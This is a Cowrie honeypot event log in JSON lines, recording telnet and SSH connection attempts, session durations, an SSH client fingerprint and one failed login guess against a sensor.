{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37818,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e682696c8a6","protocol":"telnet","message":"New connection: 62.210.97.77:37818 (10.17.0.5:23) [session: 7e682696c8a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:00.828699Z"}
{"eventid":"cowrie.session.closed","duration":37.329155921936035,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:01.139511Z","src_ip":"62.210.97.77","session":"990c9918a140","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.070003509521484,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:01.260953Z","src_ip":"62.210.97.77","session":"f7da13f415c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":46934,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd52f9556354","protocol":"telnet","message":"New connection: 134.209.8.29:46934 (159.203.135.109:23) [session: dd52f9556354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:02.819919Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37834,"dst_ip":"10.17.0.5","dst_port":23,"session":"a00bb79c41ee","protocol":"telnet","message":"New connection: 62.210.97.77:37834 (10.17.0.5:23) [session: a00bb79c41ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:03.146194Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":38648,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf757d8352c2","protocol":"telnet","message":"New connection: 165.232.131.181:38648 (10.17.0.5:23) [session: cf757d8352c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:04.372747Z"}
{"eventid":"cowrie.session.closed","duration":33.24717664718628,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:04.563395Z","src_ip":"65.60.27.33","session":"d41eb17ccfcd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.459643602371216,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:04.786654Z","src_ip":"62.210.97.77","session":"5a156c987d12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.176767349243164,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:05.360025Z","src_ip":"62.210.97.77","session":"f0642ea1c861","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37840,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d4615340eb7","protocol":"telnet","message":"New connection: 62.210.97.77:37840 (10.17.0.5:23) [session: 0d4615340eb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:06.574702Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.49.86","src_port":47410,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8ea7bc10b32","protocol":"telnet","message":"New connection: 102.213.49.86:47410 (159.203.135.109:23) [session: c8ea7bc10b32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:09.702666Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50156,"dst_ip":"10.17.0.5","dst_port":23,"session":"171ff78b4666","protocol":"telnet","message":"New connection: 62.210.97.77:50156 (10.17.0.5:23) [session: 171ff78b4666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:09.972529Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":58902,"dst_ip":"159.203.135.109","dst_port":23,"session":"a946db6845bb","protocol":"telnet","message":"New connection: 134.209.8.29:58902 (159.203.135.109:23) [session: a946db6845bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:10.632166Z"}
{"eventid":"cowrie.session.closed","duration":35.606531858444214,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:11.549945Z","src_ip":"62.210.97.77","session":"973ad4fde971","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50170,"dst_ip":"10.17.0.5","dst_port":23,"session":"2de1b32a8c60","protocol":"telnet","message":"New connection: 62.210.97.77:50170 (10.17.0.5:23) [session: 2de1b32a8c60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:15.396398Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":43722,"dst_ip":"10.17.0.5","dst_port":23,"session":"e52d1b257f4c","protocol":"telnet","message":"New connection: 165.232.131.181:43722 (10.17.0.5:23) [session: e52d1b257f4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:15.659422Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":43194,"dst_ip":"10.17.0.5","dst_port":23,"session":"455c4df8775f","protocol":"telnet","message":"New connection: 165.232.131.181:43194 (10.17.0.5:23) [session: 455c4df8775f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:16.152808Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50174,"dst_ip":"10.17.0.5","dst_port":23,"session":"aebcd023ab01","protocol":"telnet","message":"New connection: 62.210.97.77:50174 (10.17.0.5:23) [session: aebcd023ab01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:16.578921Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50186,"dst_ip":"10.17.0.5","dst_port":23,"session":"6af66ca89e87","protocol":"telnet","message":"New connection: 62.210.97.77:50186 (10.17.0.5:23) [session: 6af66ca89e87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:17.368280Z"}
{"eventid":"cowrie.session.closed","duration":1.7746777534484863,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:17.433956Z","src_ip":"165.232.131.181","session":"e52d1b257f4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.84472393989563,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:17.797874Z","src_ip":"62.210.97.77","session":"2881e47ed96f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.480008125305176,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:18.691544Z","src_ip":"134.209.8.29","session":"8b5cb7f5b288","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":39688,"dst_ip":"10.17.0.5","dst_port":23,"session":"e41a45fc9577","protocol":"telnet","message":"New connection: 65.60.27.33:39688 (10.17.0.5:23) [session: e41a45fc9577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:20.545360Z"}
{"eventid":"cowrie.session.closed","duration":12.816206455230713,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:22.518751Z","src_ip":"102.213.49.86","session":"c8ea7bc10b32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.0548791885376,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:22.628316Z","src_ip":"62.210.97.77","session":"0560dd75ad87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45026,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d7aee83f131","protocol":"telnet","message":"New connection: 62.210.97.77:45026 (10.17.0.5:23) [session: 0d7aee83f131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:23.367375Z"}
{"eventid":"cowrie.session.closed","duration":34.44521641731262,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:23.698657Z","src_ip":"62.210.97.77","session":"738aa860efec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":54080,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d4ed0751b93","protocol":"telnet","message":"New connection: 38.54.119.93:54080 (10.17.0.5:23) [session: 1d4ed0751b93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:24.238640Z"}
{"eventid":"cowrie.session.closed","duration":47.4117796421051,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:25.582402Z","src_ip":"165.232.131.181","session":"4fa1fa41b38f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.556735038757324,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:25.615600Z","src_ip":"65.60.27.33","session":"8596b48a10e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.8189058303833,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:25.843147Z","src_ip":"62.210.97.77","session":"6d45ddd77785","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.154988288879395,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:26.635185Z","src_ip":"134.209.8.29","session":"ce233bf0003a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.93787741661072,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:28.122208Z","src_ip":"62.210.97.77","session":"86a112d1740f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":58052,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc0f1411556a","protocol":"telnet","message":"New connection: 38.54.119.93:58052 (10.17.0.5:23) [session: bc0f1411556a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:29.017486Z"}
{"eventid":"cowrie.session.closed","duration":32.46134352684021,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:29.328595Z","src_ip":"62.210.97.77","session":"6f0a7d70e4cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.35786271095276,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:29.382360Z","src_ip":"38.54.119.93","session":"a8ef2272232c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.282846212387085,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:30.267179Z","src_ip":"65.60.27.33","session":"b1fc29f92453","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.149087905883789,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:30.387169Z","src_ip":"38.54.119.93","session":"1d4ed0751b93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.413224458694458,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:30.761884Z","src_ip":"62.210.97.77","session":"5a92feb9c53f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":37852,"dst_ip":"10.17.0.5","dst_port":22,"session":"89da9e707aa0","protocol":"ssh","message":"New connection: 156.232.13.218:37852 (10.17.0.5:22) [session: 89da9e707aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:31.064764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:31.069703Z","src_ip":"156.232.13.218","session":"89da9e707aa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:31.141432Z","src_ip":"156.232.13.218","session":"89da9e707aa0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"password123","message":"login attempt [mcserver/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:31.460953Z","src_ip":"156.232.13.218","session":"89da9e707aa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41136,"dst_ip":"10.17.0.5","dst_port":23,"session":"77f9263924b0","protocol":"telnet","message":"New connection: 62.210.97.77:41136 (10.17.0.5:23) [session: 77f9263924b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:31.927177Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":48798,"dst_ip":"10.17.0.5","dst_port":23,"session":"b27c72c5cbb3","protocol":"telnet","message":"New connection: 65.60.27.33:48798 (10.17.0.5:23) [session: b27c72c5cbb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:31.940560Z"}
{"eventid":"cowrie.session.closed","duration":34.10369563102722,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:31.965701Z","src_ip":"62.210.97.77","session":"df3f81a3a9b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.91733384132385,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:32.517697Z","src_ip":"62.210.97.77","session":"4504610a98b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:32.537705Z","src_ip":"156.232.13.218","session":"89da9e707aa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41146,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d32aa9647c7","protocol":"telnet","message":"New connection: 62.210.97.77:41146 (10.17.0.5:23) [session: 7d32aa9647c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:33.271438Z"}
{"eventid":"cowrie.session.closed","duration":1.4288394451141357,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:33.369255Z","src_ip":"65.60.27.33","session":"b27c72c5cbb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.18647909164429,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:33.647422Z","src_ip":"62.210.97.77","session":"bdafe0fb69a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.90599703788757,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:34.215526Z","src_ip":"38.54.119.93","session":"2f15ab8b3d96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.48881673812866,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:34.245516Z","src_ip":"62.210.97.77","session":"dc521c122e5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":51330,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e95b58b82d1","protocol":"telnet","message":"New connection: 165.232.131.181:51330 (10.17.0.5:23) [session: 3e95b58b82d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:34.301001Z"}
{"eventid":"cowrie.session.closed","duration":34.41309332847595,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:35.241671Z","src_ip":"62.210.97.77","session":"7e682696c8a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":56436,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca7617d485a1","protocol":"telnet","message":"New connection: 65.60.27.33:56436 (10.17.0.5:23) [session: ca7617d485a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:36.081359Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":51696,"dst_ip":"10.17.0.5","dst_port":23,"session":"00866e347ba0","protocol":"telnet","message":"New connection: 165.232.131.181:51696 (10.17.0.5:23) [session: 00866e347ba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:36.305988Z"}
{"eventid":"cowrie.session.closed","duration":34.03854775428772,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:37.184556Z","src_ip":"62.210.97.77","session":"a00bb79c41ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":52478,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e2d75fa84eb","protocol":"telnet","message":"New connection: 165.232.131.181:52478 (10.17.0.5:23) [session: 5e2d75fa84eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:37.313414Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41156,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4f3e045c82c","protocol":"telnet","message":"New connection: 62.210.97.77:41156 (10.17.0.5:23) [session: d4f3e045c82c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:38.053892Z"}
{"eventid":"cowrie.session.closed","duration":44.9636652469635,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:38.214395Z","src_ip":"165.232.131.181","session":"baad182c0659","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43354,"dst_ip":"10.17.0.5","dst_port":23,"session":"92ccf5194ffd","protocol":"telnet","message":"New connection: 62.210.97.77:43354 (10.17.0.5:23) [session: 92ccf5194ffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:39.266583Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43348,"dst_ip":"10.17.0.5","dst_port":23,"session":"3520caf33a10","protocol":"telnet","message":"New connection: 62.210.97.77:43348 (10.17.0.5:23) [session: 3520caf33a10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:40.238773Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":54082,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bc3f442d41c","protocol":"telnet","message":"New connection: 165.232.131.181:54082 (10.17.0.5:23) [session: 8bc3f442d41c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:41.734801Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":35368,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca3f5171b888","protocol":"telnet","message":"New connection: 65.60.27.33:35368 (10.17.0.5:23) [session: ca3f5171b888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:41.969141Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43358,"dst_ip":"10.17.0.5","dst_port":23,"session":"a05719b76c53","protocol":"telnet","message":"New connection: 62.210.97.77:43358 (10.17.0.5:23) [session: a05719b76c53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:42.364578Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43360,"dst_ip":"10.17.0.5","dst_port":23,"session":"1895e2b9950f","protocol":"telnet","message":"New connection: 62.210.97.77:43360 (10.17.0.5:23) [session: 1895e2b9950f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:42.441295Z"}
{"eventid":"cowrie.session.closed","duration":32.60145664215088,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:42.573886Z","src_ip":"62.210.97.77","session":"171ff78b4666","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43364,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b0a45d4fe8b","protocol":"telnet","message":"New connection: 62.210.97.77:43364 (10.17.0.5:23) [session: 9b0a45d4fe8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:43.655207Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":53972,"dst_ip":"10.17.0.5","dst_port":23,"session":"c12f94c5c71c","protocol":"telnet","message":"New connection: 165.232.131.181:53972 (10.17.0.5:23) [session: c12f94c5c71c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:44.481071Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":54208,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a2b7e5b89d4","protocol":"telnet","message":"New connection: 165.232.131.181:54208 (10.17.0.5:23) [session: 8a2b7e5b89d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:45.056597Z"}
{"eventid":"cowrie.session.closed","duration":38.557278633117676,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:45.131864Z","src_ip":"62.210.97.77","session":"0d4615340eb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.48510670661926,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:45.304876Z","src_ip":"134.209.8.29","session":"dd52f9556354","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42892,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ed4ffd45b6d","protocol":"telnet","message":"New connection: 134.209.8.29:42892 (159.203.135.109:23) [session: 9ed4ffd45b6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:46.027400Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43372,"dst_ip":"10.17.0.5","dst_port":23,"session":"3392e4009613","protocol":"telnet","message":"New connection: 62.210.97.77:43372 (10.17.0.5:23) [session: 3392e4009613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:46.459306Z"}
{"eventid":"cowrie.session.closed","duration":49.514183044433594,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:46.553777Z","src_ip":"65.60.27.33","session":"6964fb06b528","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43384,"dst_ip":"10.17.0.5","dst_port":23,"session":"db4f90af1a8a","protocol":"telnet","message":"New connection: 62.210.97.77:43384 (10.17.0.5:23) [session: db4f90af1a8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:47.244289Z"}
